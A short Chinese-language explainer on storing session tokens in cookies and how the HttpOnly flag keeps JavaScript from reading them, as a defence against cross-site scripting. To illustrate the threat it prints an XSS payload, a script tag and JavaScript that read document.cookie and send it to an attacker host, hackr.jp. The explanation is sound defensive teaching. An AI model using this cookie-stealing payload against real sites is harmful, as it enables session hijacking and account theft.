cookie存储 安全机制
使用cookie存储token,安全机制
对于web服务项目,用户登录生成的令牌token,一般以cookie存储形式返回。其安全性主要与HTTP协议属性字段HttpOnly有关。
浏览器设置Cookie的头如下:
Set-Cookie: =[; =][; expires=][; domain=][; path=][; secure][; HttpOnly]
主要阐述HttpOnly含义作用,Cookie 的 HttpOnly 属性是Cookie 的扩展功能, 它使 JavaScript 脚本无法获得 Cookie。其主要目的为防止跨站脚本攻击(Cross-site scripting,XSS) 对 Cookie 的信息窃取。虽然是独立的扩展功能, 但 Internet Explorer 6 SP1 以上版本等当下的主流浏览器都已经支持该扩展了。
JavaScript脚本通过document对象document.cookie获取cookie的,我们如果能让cookie在浏览器中不可见就可以了,那HttpOnly就是在设置cookie时这样一个参数,一旦被设置,在浏览器的document对象中就看不到cookie了。
当你在cookie上设置HttpOnly标识后,浏览器就会知道这是特殊的cookie,只能由服务器检索到,所有来自客户端脚本的访问都会被禁止。
举例
对用户 Cookie 的某种窃取攻击:
下面恶意构造的脚本能够以跨站脚本攻击(XSS)的方式, 窃取到用户的 Cookie 信息。
<script src=http://hackr.jp/xss.js></script>
该脚本内指定的 http://hackr.jp/xss.js 文件。 即下面这段采用
JavaScript 编写的代码。
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段JavaScript 程序,即可访问到该 Web 应用所处域名下的Cookie 信息。 然后这些信息会发送至攻击者的 Web 网站(http://hackr.jp/),记录在他的登录日志中。 结果, 攻击者就这样窃取到用户的 Cookie 信息了。